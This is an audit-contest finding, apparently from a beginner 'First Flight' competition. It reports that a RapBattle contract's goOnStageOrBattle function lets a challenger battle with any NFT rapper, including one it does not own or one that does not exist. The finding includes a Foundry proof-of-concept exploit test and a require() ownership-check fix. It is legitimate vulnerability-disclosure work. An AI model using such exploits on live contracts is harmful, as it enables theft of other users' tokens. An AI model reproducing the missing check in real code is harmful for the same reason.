First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

A challenger can use any rapper to fight

n0kto

Description

RapBattle::goOnStageOrBattle allows one rapper to be stored in the contract waiting for a battle. The second user calling this function will fight against the rapper on stage. However, since the second rapper is not sent to the contract, no checks are made to verify if msg.sender is the owner of the challenger. This permits sending an arbitrary challenger to have more chances to win. Moreover, due to another bug that doesn't verify if a rapper exists, the challenger can use a non-existing rapper which has better attributes than any non-trained rappers.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
@>
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
@>
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}

Risk

Likelyhood: High

  • Any challenger can use any rapper.

Impact: High

  • A challenger can use the best existing rapper to have more chances to win.

Proof of Concept

Foundry PoC to add in `OneShotTest.t.sol`
function testChallengerCanUseAnyRapper() public twoSkilledRappers {
// Rapper go on stage
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
​
rapBattle.goOnStageOrBattle(0, 3);
​
vm.stopPrank();
​
// timestamp where the challenger wins
vm.warp(
83398898792747926133958085108077828029129109360118067488968676214425609451248
);
​
// A third user use the challenger's rapper
// Won't revert
vm.startPrank(address(3));
rapBattle.goOnStageOrBattle(1, 3);
vm.stopPrank();
​
// Third user earns the cred
assert(cred.balanceOf(address(3)) == 3);
}

Recommended Mitigation

Verify that a rapper is owned by the message sender.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
+ require(oneShotNft.ownerOf(_tokenId) == msg.sender);
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.